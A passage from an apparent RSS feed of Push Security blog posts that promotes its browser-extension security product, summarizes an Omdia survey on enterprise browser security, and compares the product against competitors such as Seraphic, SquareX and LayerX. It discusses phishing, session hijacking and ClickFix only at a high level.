input, and access control use cases rather than OS-level output restriction.</p><hr/><h1><b>Tier 3 — Lower Value: A problem best addressed outside of the browser</b></h1><ul><li><p><b>Browser exploit protection</b> (narrow RCE/sandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it&#39;s not a big enough problem to warrant enterprises investing in additional mitigating controls.</p></li><li><p><b>Domain and URL category controls</b> offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it&#39;s something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.</p></li><li><p><b>Access management</b> — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.</p></li><li><p><b>Remote browser isolation</b> addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.</p></li></ul><hr/><h1><b>How Push Security maps to the highest-value security use cases</b></h1><p>Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.</p><table><tr><td><p><b>Security use case</b></p></td><td><p><b>How Push addresses it</b></p></td></tr><tr><td><p><b>Account takeover prevention</b></p></td><td><p>Surfaces and fixes ghost logins, weak and breached credentials and missing MFA controls across every app and device — including shadow SaaS and unmanaged devices invisible to the IdP. Push also detects and stops the attack techniques that typically lead to ATO early in the kill chain and before an account can be compromised.</p></td></tr><tr><td><p><b>Advanced phishing detection</b></p></td><td><p>Behavioral page analysis detects phishing kits regardless of whether the domain is known-bad. Credential entry guardrails block corporate passwords from being submitted to unauthorized domains. TTP-based detection remains effective as attacker infrastructure rotates.</p></td></tr><tr><td><p><b>Identity posture hardening</b></p></td><td><p>Enforces MFA, strong credentials, and SSO adoption across every app the IdP doesn&#39;t manage. Produces continuous, auditable MFA coverage and credential hygiene evidence across the full application and device estate.</p></td></tr><tr><td><p><b>Browser extension security</b></p></td><td><p>Live extension inventory with supply chain change event monitoring — ownership transfers, permission escalations, developer contact changes — rather than static risk scoring. Supports default-deny allowlisting and remote extension removal. Blocks known-bad malicious extensions automatically.</p></td></tr><tr><td><p><b>Shadow SaaS and OAuth governance</b></p></td><td><p>Discovers shadow SaaS from actual login events with full authentication context. Monitors and blocks OAuth consent flows — including AI and MCP integrations — in real time before persistent access paths are created.</p></td></tr><tr><td><p><b>ClickFix and the *Fix family</b></p></td><td><p>Detects and blocks ClickFix lures, clipboard injection, and browser-native variants like ConsentFix in real time — before the payload executes or OAuth key material is captured.</p></td></tr><tr><td><p><b>AI visibility &amp; control</b></p></td><td><p>Enforces which AI tools employees can access and routes usage to corporate tenants. Governs AI browser extensions and blocks OAuth consent grants to unapproved AI applications — drawing on the same Tier 1 capabilities (OAuth governance, extension security, shadow SaaS discovery) that make this possible.</p></td></tr><tr><td><p><b>Security investigations &amp; incident response</b></p></td><td><p>High-fidelity session telemetry — page loads, credential entries, DOM changes, OAuth grants — fills the missing middle that endpoint, network, and IdP logs leave open. Feeds directly into SIEM and SOAR for automated response.</p></td></tr><tr><td><p><b>Infostealer defense</b></p></td><td><p>Intercepts ClickFix-based infostealer delivery before execution. Detects token replay in unenrolled browser contexts — catching post-theft abuse from AiTM-sourced tokens and infostealer-harvested cookies, including from unmanaged devices.</p></td></tr><tr><td><p><b>Data loss prevention</b></p></td><td><p>Observes file uploads, downloads, and sensitive data inputs across all applications. Extends data loss visibility to BYOD and contractor devices where endpoint DLP cannot reach.</p></td></tr><tr><td><p><b>Domain and URL category controls</b></p></td><td><p>Custom URL blocklists with wildcard support and REST API management for threat intelligence feed sync. Application category blocking restricts access to classes of apps (file-sharing, unsanctioned AI tools) configurable by user group. Domain categorization bringing SWG-style category blocking natively to the browser without a network proxy.</p></td></tr></table><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. <a href="https://pushsecurity.com/demo">Book a live demo to learn more.</a></p>]]></content:encoded>
    </item>
    <item>
      <title>7 things Omdia's latest report tells us about the secure enterprise browser market</title>
      <link>https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market</guid>
      <pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Unpacking the latest research report from Omdia and what it means for the secure enterprise browser market.</description>
      <content:encoded><![CDATA[<p>The <a href="https://research.esg-global.com/reportaction/515202191/Marketing">Omdia Browser Management and Security report</a>, based on a survey of 400 IT and security professionals across North America fielded in late 2025, is the most comprehensive industry data to date on how organizations are experiencing, prioritizing, and investing in the secure enterprise browser (SEB) market. </p><p>For us at Push, it externally validates what we&#39;ve known to be true for some time — the browser is where work happens, where attacks land, and where defenders need to be if they want to detect and stop threats before damage is done.</p><p>We pulled out seven findings that matter most for security teams evaluating their approach.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/62TiADpvI65W2gT7RQwlOU/a4aaad376574b1cd963fc0afa5e2942d/omdia-browser-security-infographic_2x__2_.png" alt="Omdia report key stats infographic"/><figcaption>Headline stats from the latest Omdia report.</figcaption></figure><hr/><h1><b>1. The attacks driving concern are the ones happening inside the browser session</b></h1><p>The threat picture is driving everything else in this report, so it&#39;s the right place to start. <b>49% of organizations suffered a successful browser-based attack in the last 12 months.</b> Among those affected, browser-originated incidents account for roughly 37% of all security incidents — and 68% say that share has grown over the past two years. </p><p>The browser is not an emerging threat vector. It’s worth noting here that these numbers are also likely lower than the reality, since many are only identified later in the kill chain. Without browser-level telemetry they can be difficult to trace back their source — which in the vast majority of cases, even for malware-driven attacks, is the browser. </p><p>The evidence here isn’t just statistics. The real-world breaches attributed to <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>Scattered Lapsus$ Hunters</u></a>, including the <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>ShinyHunters-branded 2026 hacking spree</u></a>, clearly underline the real-world threat. </p><p>What stands out is that every one of the top attack categories plays out inside the browser session itself — not against the browser as a piece of software, but within the sessions where users interact with applications:</p><ul><li><p>Phishing (40%)</p></li><li><p>Data loss or leakage (38%)</p></li><li><p>Malicious browser extensions (34%)</p></li><li><p>Vulnerable browser extensions (33%)</p></li><li><p>Malicious scripts (31%)</p></li><li><p>Credential theft via browser (28%)</p></li><li><p>Cookie theft (22%)</p></li><li><p>AiTM attacks (17%)</p></li></ul><p>Phishing, credential theft, cookie theft, and AiTM are attacks that target the user&#39;s interaction with a web page — the credential entry, the session creation, the token exchange. Malicious and vulnerable extensions are supply chain risks that operate inside the browser&#39;s own execution environment. Data loss happens through the browser when employees upload files, paste data into AI tools, or share information with unsanctioned applications. </p><p>None of these are attacks where network-layer traffic inspection, endpoint monitoring, or email scanning provides complete coverage, because the attack surface is the browser session itself.</p><p>It&#39;s worth noting that AiTM — now the dominant phishing technique in the wild,<a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/"> <u>responsible for 62% of phishing blocked by Microsoft</u></a> — shows up at just 17% in Omdia&#39;s data. That likely reflects a recognition gap rather than low prevalence: most organizations lack the browser-layer visibility to distinguish an AiTM reverse-proxy attack from a conventional phishing page, which means the real AiTM figure is probably buried inside the 40% who reported phishing generally.</p><hr/><h1><b>2. Browser security is now a board-level priority</b></h1><p><b>88% of respondents rank browser security as at least a top-five security priority</b>, with more than a quarter (26%) calling it their single top priority. For context, this is a survey that covers the full spectrum of security concerns — cloud, supply chain, AI, insider risk — and browser security has risen above most of them.</p><p>This is not aspirational interest. The correlation between priority level and investment is sharp: among those who rank browser security as their top priority, 72% have significantly increased their investment due to emerging threats. Among those who rank it in their top five, that figure is 26%. The organizations that care most are spending the most.</p><p><b>86% of respondents have increased their browser security investment in response to emerging threats</b>, with 36% saying the increase was significant. When you ask what&#39;s driving that spend, the answer is the threat landscape: the attacks cataloged in the previous section are the reason budgets are moving.</p><hr/><h1><b>3. Real budget is being allocated — and it&#39;s growing</b></h1><p>Secure enterprise browser solutions already take up <b>12.6% of the average security budget</b> — a substantial allocation for a category that didn&#39;t exist as a standalone line item a few years ago. And 85% of respondents expect to increase that spend over the next 12–24 months, with a quarter expecting significant increases.</p><p>Where the money comes from tells its own story. The most common funding model is a discrete line item within security program budgets (31%) or a dedicated secure browsing budget (30%). When organizations pull from an existing program budget, web security (26%) and endpoint security (21%) are the most common sources — while SASE/SSE accounts for just 9%, despite SASE vendors being the second most popular vendor category. That disconnect between vendor preference and budget origin suggests the SASE-bundled buying motion may be more aspirational than operational.</p><p>IT operations leadership is the top stakeholder in 82% of evaluations, with CISO and security leadership at 64% and CIOs at 42%. Day-to-day management sits primarily with IT Ops (77%) and SecOps (50%). This dual stakeholder picture — IT operations driving evaluation, security leadership providing strategic direction — shapes the competitive landscape in ways we&#39;ll come back to.</p><hr/><h1><b>4. AI is accelerating both the threat and the use case</b></h1><p>AI shows up in this report from two directions, mirroring how it is reshaping the security landscape itself.</p><p>On the threat side, <b>AI-powered targeted phishing and social engineering is the top emerging concern</b>, cited by 75% of respondents as either very concerning or concerning. Data leakage via unsanctioned AI applications comes second at 71%, followed by deepfake/AI-generated malicious content at 69% and credential harvesting via fake AI or SaaS login pages at 66%. Every one of these threat categories involves the browser — AI-enhanced phishing lands in the browser, AI data leakage happens through browser-based AI tools, and fake AI login pages are browser-based credential harvesting.</p><p>This is something we’re seeing extensively in the wild. Just about every phishing kit we encounter today is packed with signs of AI use. You can see our <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/"><u>recent analysis of the Doko’s Panel real-time vishing + AitM kit</u></a> for one example of this. AI development of kits and tools is rapidly driving down the time for attackers to adopt and scale new capabilities — the <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>37x increase in device code phishing in 2026</u></a> being another indicator of this (we&#39;ve observed heavy AI tool use across multiple kits and campaigns, with the EvilTokens kit gaining particular notoriety for its abuse of the Railway platform&#39;s AI features).</p><p>On the adoption side, the picture is almost universal — and almost universally under-governed. <b>92% of organizations now allow employees to use public GenAI applications</b>, and virtually every organization has some kind of policy position: 37% have sanctioned one public app (with everything else unsanctioned), 39% have sanctioned multiple public apps (with others unsanctioned), and 23% restrict employees to a corporate instance while the public versions are unsanctioned. </p><p>Even the 8% who don&#39;t allow GenAI at all have taken a policy position. Essentially 100% of organizations have a GenAI policy — but for the vast majority, that policy designates a large portion of public AI tool usage as unsanctioned, which raises the immediate question of whether they have the tooling to actually enforce it.</p><p>The answer, based on the current tooling landscape, appears to be: not quite. When Omdia asked how organizations currently secure GenAI usage, 58% rely on secure web gateways — tools that see traffic metadata but cannot observe what a user actually does inside a GenAI session — while 57% use secure browsing solutions and 57% use SaaS security solutions. </p><p>An SWG can tell you that a user visited ChatGPT, but it cannot tell you whether they pasted your company&#39;s source code into the prompt. That distinction — between knowing where data went and knowing what the user actually did — is the fundamental gap that browser-layer visibility exists to close, and it is exactly the gap that makes GenAI policies unenforceable without browser-layer tooling.</p><p>The use case data reflects this. When Omdia asked about the most important use cases for a secure browsing solution, <b>generative AI application security came in first at 59%</b>, followed by data loss prevention at 51% and general web security enhancement at 42%. The feature priorities tell a consistent story: AI-powered threat detection and response (52%) and advanced GenAI usage controls and monitoring (41%) were the top two capabilities organizations said would be most important in a purchase decision. </p><p>AI is both the top threat concern and the top use case for browser security — and it is a browser problem at both ends, because every LLM interaction, every prompt containing sensitive data, and every AI agent authorization happens inside a browser session.</p><hr/><h1><b>5. Organizations that have deployed secure enterprise browser solutions are seeing real results</b></h1><p>One of the most useful sections in Omdia&#39;s report is the benefits data — what organizations that have deployed SEB solutions are actually getting out of them.</p><p>The top realized benefit is <b>improved data security, cited by 58% of respondents</b>, followed by fewer security incidents (49%), better visibility and auditing (47%), improved user experience (44%), and simplified configuration and policy management (41%). The picture that emerges is not just a security story but an operational one: organizations are seeing fewer incidents, better visibility, and simpler management alongside the security outcomes.</p><p>The 49% who cite fewer security incidents as a realized benefit is the number that matters most here, because it directly connects SEB deployment to measurable risk reduction. Organizations aren&#39;t just buying tools and hoping — they&#39;re deploying them and seeing fewer successful attacks as a result.</p><hr/><h1><b>6. The market wants protection in existing browsers, not migration</b></h1><p>When Omdia asked what attributes matter most in a secure enterprise browser solution, <b>&quot;ability to use existing browsers&quot; ranked as the fourth most important attribute at 48%</b> — behind only integration with other security tools (57%), controls over generative AI application usage (53%), and centralized policy enforcement (52%). </p><p>That 48% figure, combined with 80% of respondents saying they expect to use an SEB solution as an integrated or alongside component rather than a replacement for existing tools, points to a clear market preference: organizations want browser security that works with their existing browser estate, not a migration to a new one.</p><p>This is consistent with what we hear from security leaders directly. As <a href="https://pushsecurity.com/customer-stories"><u>Josh Lemos put it: </u></a>&quot;We looked at the full-stack enterprise browser approach, but converging on a single platform was tough. Push gave me the security instrumentation and context I needed without onerous headwinds.&quot; The deployment model matters because it determines adoption velocity — and a tool that requires browser migration introduces friction that delays time to value.</p><p>Push was built around this insight from day one. As the secure enterprise browser extension for security teams, Push turns any browser — managed or unmanaged, including agentic browsers — into a telemetry source and control point the moment it&#39;s installed. It has been rolled out to 100,000 users in under an hour during normal office hours with zero downtime. <b>That is a deployment model that matches what Omdia&#39;s respondents are asking for.</b></p><hr/><h1><b>7. Dedicated vendors lead over platform plays</b></h1><p>When Omdia asked which category of vendor organizations primarily use or expect to use for secure enterprise browsing, <b>36% chose a dedicated SEB vendor</b> — the largest single category. SASE/network security vendors came second at 29%, followed by traditional VDI/desktop virtualization vendors at 19% and endpoint platform vendors at 15%.</p><p>The dedicated category leads, and the reason isn&#39;t just first-mover advantage — it&#39;s architectural. The alternative paths each come with structural constraints. SASE and SSE platforms are network-centric: they see traffic metadata and enforce URL categorization, but they can&#39;t observe the rendered page inside a browser tab — the DOM structure, the script behavior, the credential entry that distinguishes a legitimate login from an AiTM reverse-proxy kit. </p><p>Endpoint platforms that bolt on browser visibility are still anchored to the OS layer, solving for browser exploit prevention rather than in-session behavioral detection of the attacks that actually dominate — phishing, credential theft, session hijacking, extension compromise. And when large platform vendors acquire browser security capabilities, the integration work takes years rather than months, during which detection depth sits in a transitional state. </p><p>Dedicated browser-native vendors start from a different premise entirely: the browser isn&#39;t a supplementary signal feeding into someone else&#39;s SASE pipeline or XDR correlation engine — it is the telemetry source and the control point. The browser is the only place where you get simultaneous visibility into both the attacker&#39;s technique and the employee&#39;s action within the same session, because the phishing page, the credential submission, the token exchange, and the data exfiltration all happen inside the same tab. No network appliance, endpoint agent, or identity provider log can see all of that, because none of them are present where the interaction occurs.</p><p>For security teams evaluating SEB solutions, the architecture matters more than the vendor category label. The capabilities Omdia&#39;s respondents ranked highest — integration with existing tools, GenAI controls, centralized policy enforcement, and the ability to use existing browsers — all point toward solutions that deliver detection depth through a lightweight deployment model, without browser migration and without the integration debt of a platform acquisition.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. </p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo</u></a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>How to avoid the browser security buyer's trap</title>
      <link>https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap</guid>
      <pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Securing the browser vs. securing the organization via the browser — what's the difference?</description>
      <content:encoded><![CDATA[<p><b>TL;DR:</b> Not all browser security investments address the same threat. Seraphic (Crowdstrike) focuses on browser exploitation, SquareX (ZScaler) on malware sandboxing, LayerX on internal governance. None of these address the attacks that are actually causing the most damaging breaches today: identity theft, credential abuse, and session hijacking that play out entirely inside the browser using legitimate authentication flows. Push Security is built specifically for that threat model — delivering the greatest coverage against the most damaging attacks, without the user friction, operational management burden, or stability risks associated with other solutions.</p><p>
</p><p>When a security team evaluates browser security solutions, they&#39;re usually asking the right question: “How do we protect our users as they work in the browser?”</p><p>But the answer they get from many vendors is shaped by a fundamentally different threat model — one that treats the browser as a piece of software to be hardened against exploitation, rather than as the arena where your users’ identities get stolen.</p><p>This distinction has enormous consequences for your security posture and the return you can expect from your investment in a new solution.</p><hr/><h1><b>Two different problems, dressed the same</b></h1><p>When it comes to protecting users as they work in the browser, security tools typically fall into one of two camps:</p><p><b>The first camp:</b> represented by solutions like Seraphic (now CrowdStrike) — is built around the threat of attacking the browser itself. The architecture is designed to scramble the browser’s JavaScript runtime and prevent exploits from detonating and breaking out of the browser sandbox. This is browser hardening: defending the browser as software against exploitation by attackers who want to compromise the underlying device.</p><p><b>The second camp:</b> and the one Push Security occupies uniquely, focuses on what happens inside the browser when a user is working normally. Phishing pages harvesting credentials. Session tokens being stolen. Malicious OAuth applications being granted access through social engineering. Adversary-in-the-middle proxies intercepting authentication flows. These attacks don&#39;t exploit the browser. They exploit the human — and now agents — using it via the browser&#39;s legitimate capabilities (think of it as LOTL, browser edition).</p><p>The question for any security team evaluating this space: which of these threat models presents the greatest risks to my organization?</p><hr/><h1><b>How organizations are actually being breached</b></h1><p>Let&#39;s look at the major breach campaigns of the last three years without the marketing filter and a pattern emerges immediately. Scattered Spider and its successors breached MGM Resorts, Caesars, M&amp;S, JLR, and Salesforce customers — not through browser exploits, but through social engineering, phishing and Adversary-in-the-Middle attacks that stole session tokens and SSO credentials. </p><p>You can read about <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>Scattered Lapsus$ Hunters</u></a> and <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>ShinyHunters’ 2026 campaigns and TTPs</u></a> in our dedicated blog posts. </p><p>In every case, the attack happened in the browser — using stolen identities to log into legitimate cloud services — not on the browser through exploitation of the browser engine itself.</p><p>The data from major threat intelligence sources is unambiguous:</p><ul><li><p>Identity weaknesses played a material role in <b>almost 90% of Unit 42 incident response investigations</b> (Palo Alto Networks Unit 42 IR Report)</p></li><li><p>Credential abuse and phishing combined accounted for <b>38% of all breaches</b>, making identity the single largest breach vector (Verizon DBIR 2025)</p></li><li><p>Cloud-conscious intrusions — attackers using stolen identities to access cloud services — rose <b>37% in 2025</b>, up 266% among state-nexus actors (CrowdStrike 2026 Global Threat Report)</p></li><li><p>In cloud-related incidents, identity issues drove initial access in <b>83% of cases</b> (Mandiant / Google Cloud Threat Horizons H1 2026)</p></li><li><p><b>82% of attack detections are now malware-free</b> — they don&#39;t touch the endpoint and abuse legitimate access and functionality (CrowdStrike 2026 Global Threat Report)</p></li><li><p><b>49% of organizations</b> suffered a successful browser-based attack in the last 12 months (Omdia 2026)</p></li></ul><p>These aren&#39;t edge cases. This is now the primary attack playbook.</p><hr/><h2><b>The economics of attack choice</b></h2><p>Attackers are rational actors. They pick the cheapest, most reliable path to their objective. The economics of browser exploitation versus identity theft tell the whole story:</p><ul><li><p>Chrome sandbox RCE exploit (bug bounty value): <b>$250,000</b></p></li><li><p>IAB-provided IdP admin account: <b>~$3,000</b></p></li><li><p>1-year phishing kit rental (PhaaS): <b>~$1,000</b></p></li><li><p>Bulk stolen credential list: <b>~$15</b></p></li></ul><p>Browser zero-days accounted for just <b>9% of all zero-days reported to Google in 2025</b> — described by Google&#39;s own researchers as a &quot;historic low.&quot; Chrome&#39;s sandbox architecture, site isolation, and hardware-backed security features are the result of years of sustained hardening investment. When a browser vulnerability is discovered, Google typically deploys a patch within days.</p><p>It&#39;s worth heading off the obvious counterargument: <b>won&#39;t AI-assisted vulnerability discovery eventually make browser exploits cheaper? </b>Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development. </p><p>The bottom line: browser exploits are extraordinarily expensive to develop, increasingly difficult to execute reliably against a hardened modern browser, and patched rapidly when discovered. In sharp contrast, identity attacks are cheap to run, highly scalable, and have a low technical barrier to adoption — that’s why they’re responsible for the overwhelming majority of enterprise breaches. Attackers have voted with their resources.</p><hr/><h1><b>What you&#39;re actually buying with each vendor</b></h1><p>Understanding the core architectural choice each vendor has made helps decode what their solution can and cannot protect you from.</p><h2><b>Seraphic (CrowdStrike)</b></h2><p>Seraphic&#39;s architecture is built to inject into the browser&#39;s JavaScript runtime at the OS layer, scrambling browser internals to prevent exploits from executing. This is a technically sophisticated approach to a technically interesting problem that is, by every threat intelligence measure, not the problem causing enterprise breaches at scale.</p><p>Beyond the threat model mismatch, there are structural concerns with the approach itself. Injecting an agent into the browser&#39;s JS runtime is a technique with well-documented stability consequences. This is the same approach antivirus vendors have used for years, often at the cost of system stability. Seraphic now runs alongside the CrowdStrike Falcon sensor on managed devices, combining two heavyweight agents on the same machine. For any organization with CrowdStrike already deployed, the question isn&#39;t theoretical: how has that combination been validated in production environments?</p><p>There&#39;s also the managed-device limitation. Seraphic requires a kernel-level agent, which means it loses meaningful capability on unmanaged devices, BYOD machines, and contractor endpoints. This is not a niche concern: according to <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">Omdia&#39;s 2026 browser security survey</a>, 32% of users access corporate applications from unmanaged devices at least occasionally. Agent-based solutions are blind to nearly a third of your actual attack surface by design. The Okta breach began on a support engineer&#39;s personal device, where <a href="https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/"><u>corporate credentials had synced</u></a> via Chrome&#39;s built-in profile sync. No agent, no visibility.</p><p>Teams evaluating Seraphic today are also buying into an integration roadmap, not a shipped capability. The acquisition by CrowdStrike closed in early 2026. The work of wiring browser telemetry into Falcon Fusion and correlating it with endpoint signals is currently a promise, not a production feature.</p><h2><b>SquareX (Zscaler)</b></h2><p>SquareX&#39;s core capability is sandboxing suspicious file downloads inside disposable browser containers before they reach the endpoint. This is a legitimate approach to a real but declining problem. 82% of attack detections are now malware-free (CrowdStrike 2026 Global Threat Report) — attacks don&#39;t arrive as files to be sandboxed, they arrive as authenticated sessions. And the delivery channel shift makes the picture even starker: across Push&#39;s customer base, 1 in 3 phishing payloads are now delivered outside of email entirely — via social media, ads, and messaging platforms — and 4 in 5 ClickFix payloads arrive through search engines, not email. The threat that SquareX was architecturally designed to address is a shrinking share of the actual attack surface, and it&#39;s shrinking fast.</p><p>Zscaler already has sandboxing built into ZIA. For an existing Zscaler customer evaluating SquareX, the honest question is: what does this add beyond some extension analysis capability and what you already have? The AiTM phishing campaign that stole your user&#39;s credentials and accessed your cloud applications generates no malicious file, triggers no sandbox, and produces no network signal for Zscaler&#39;s traffic inspection to catch — because it happened entirely inside a browser session using legitimate authentication flows.</p><p>The acquisition also raises product focus questions. Being absorbed into a network-centric platform means SquareX is now optimized for Zscaler&#39;s priorities, not for standalone browser detection and response. Teams that care about investigation, threat hunting, and incident response should ask specifically what SquareX adds in those workflows under Zscaler ownership.</p><h2><b>LayerX</b></h2><p>LayerX is primarily a policy enforcement and risk scoring platform focused on internal governance — controlling which applications employees access, what data moves through the browser, and whether behavior complies with internal rules.</p><p>Push Security covers that ground too. Push provides full visibility over AI tool usage, shadow SaaS, unmanaged identities, and data loss vectors — including sensitive data submitted through AI prompts, file uploads to personal cloud destinations, and OAuth grants to third-party applications. The same browser telemetry that detects external attacks also surfaces insider risks and powers DLP controls and compliance audit evidence, all from a single extension.</p><p>The critical difference is that Push goes significantly further. Where LayerX scores risk and enforces policy, Push detects active external attack techniques in real time: AiTM phishing kits as they execute, session tokens being stolen, ClickFix lures through behavioral analysis of page structure. These are the attacks causing the most damaging breaches today, and they don&#39;t surface on a risk score until after the damage is done. Push addresses both the governance problem and the external threat problem from the same platform. LayerX addresses only the first.</p><hr/><h1><b>Securing the organization via the browser: Push Security</b></h1><p><b>Push Security is built on a different architectural premise:</b> the browser is not primarily a piece of software to harden against exploitation. It is the primary workplace, the primary SaaS access point, and the arena where the majority of modern identity attacks play out. The goal is to secure the organization via the browser — not just to secure the browser itself.</p><p>This means Push&#39;s detection surface is built around the attacks that are actually causing breaches: adversary-in-the-middle phishing, ClickFix and its many variants, credential stuffing against shadow identities, session token theft and replay, OAuth consent abuse, and the full spectrum of identity-based initial access techniques that dominate the modern threat landscape.</p><p>The deployment model reflects the threat model. Push deploys as a lightweight browser extension — no kernel-level agent, no device dependency, no migration to a new browser. It works on managed and unmanaged devices, across every traditional, enterprise and AI browser where employees are doing work and attackers are targeting them. The operational overhead is minimal by design: Push has been deployed to 100,000 users in under one hour during normal business hours.</p><h2><b>Detection philosophy: targeting what attackers can&#39;t change</b></h2><p>Push&#39;s detection approach targets attacker TTPs rather than indicators of compromise that attackers can rotate in minutes. 95% of attacks detected by Push used some form of bot protection service — meaning the specific domain and IP were deliberately obscured. If your primary detection relies on blocklists, recent reports tell us that 89% of phishing domains will evade you: because they&#39;re active for less than two days, they can be spun up, down, and replaced faster than blocklists can keep up.</p><p>Behavioral detection of the attack technique — the AiTM relay structure, the credential entry on a cloned login page, the anomalous session context — remains valid regardless of what domain the attack is hosted on or which PhaaS kit was used to build it.</p><h2><b>Measuring the identity attack surface (it&#39;s bigger than you realize)</b></h2><p>Because Push has visibility into actual login behavior across thousands of organizations, it can quantify the attack surface that identity-based attacks exploit. Of the last million logins observed by Push:</p><ul><li><p><b>15 corporate identities were identified per employee</b> used to access cloud apps</p></li><li><p><b>1 in 4</b> were password logins, not SSO</p></li><li><p><b>2 in 5</b> were not protected by MFA</p></li><li><p><b>1 in 5</b> used a weak, breached, or reused password</p></li></ul><p>And it&#39;s not just login hygiene. Across Push&#39;s customer base, <b>46%+ of browser extensions in corporate environments have the permission combinations required for direct account takeover via session theft if they are malicious or compromised by an attacker</b>. Most organizations have no inventory of what&#39;s running in their employees&#39; browsers, let alone visibility into what those extensions can access.</p><p>These aren&#39;t theoretical vulnerabilities. They&#39;re the specific weaknesses that browser-native identity attacks are designed to exploit. <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">This visibility turns browser security from a reactive posture into a proactive one</a> — you can see and remediate the identity weaknesses before an attacker exploits them, not just detect the attack while it&#39;s in progress.</p><h2><b>The ROI case</b></h2><p>The ROI question for any security investment is: what quantum of real risk does this tool address, at what cost in money and operational friction?</p><p><b>That calculation looks very different depending on your threat model.</b></p><p>A solution focused on browser engine exploits and sandbox escapes is defending against an attack category that represents a tiny fraction of actual enterprise breaches, requires extraordinary attacker resources to execute, and is increasingly mitigated by browser vendors themselves through hardening and rapid patching. Chrome&#39;s automatic update cycle means that even when a browser vulnerability is discovered and disclosed, it is typically in front of users as a patch within days. The defenders here are Google, Mozilla, and Microsoft — with multi-billion dollar security teams and full access to the browser internals.</p><p>A solution focused on identity attacks via the browser — phishing, credential theft, session hijacking, OAuth abuse, malicious browser extensions — is defending against the primary cause of enterprise breaches, one that is accelerating (cloud-conscious intrusions up 37% in 2025, browser-based attacks increasing at 68% of organizations over the past two years per Omdia) and increasingly automated through PhaaS infrastructure that gives low-skill attackers enterprise-grade capability for $1,000 a year.</p><p>There&#39;s also a forward-looking dimension. The threat landscape isn&#39;t moving toward more browser exploitation. It&#39;s moving further into identity abuse. AI-powered phishing lowers the social engineering barrier. Agentic browsers will automate credential stuffing and account takeover at a scale that wasn&#39;t previously possible. And attackers are already adapting to authentication improvements: device code phishing has increased 37x since the start of 2026, a technique specifically designed to circumvent passkeys by bypassing the authentication flow entirely — the attacker never encounters a login page. The investment in identity-centric browser detection compounds over time as the attack surface evolves in the same direction.</p><p>Solutions optimized for browser exploitation are defending against a shrinking attack category. Browser vendors are very good at closing those vulnerabilities, quickly. The ROI trajectory points the wrong way.</p><h2><b>The verdict</b></h2><p>Browser security is a real and growing priority — according to Omdia Research, it is now a top-five priority for 88% of security leaders and the top priority for 26% of them. 85% expect their browser security spending to increase over the next 12–24 months. The question isn&#39;t whether to invest. It&#39;s what to invest in.</p><p>The browser is where your users work, where attackers target them, and where the identity attacks causing the majority of enterprise breaches play out. But not all browser security investments address the same problem.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png" alt="Comparing ease of deployment x security value for browser security solutions"/><figcaption>Comparing ease of deployment x security value for browser security solutions.</figcaption></figure><p>Solutions like Seraphic are built to defend against a browser being exploited by an attacker trying to break out of the sandbox — an attack that represents a historic low as a share of enterprise incidents, and one that Google&#39;s own hardening and rapid patching increasingly mitigates automatically. SquareX is built around malware sandboxing — a legitimate but declining share of the initial access landscape, and a capability Zscaler&#39;s existing customers already partially have. LayerX focuses on internal governance rather than external threats.</p><p>Push Security is built to defend against the attacks that are behind the major breaches hitting the headlines: identity theft, credential abuse, session hijacking, and the full identity attack kill chain that plays out inside the browser every time an attacker logs in as your user. Every major threat intelligence report points to these as the primary breach vectors. The economics of attack choice guarantee they&#39;ll remain so.</p><p>The security team that deploys 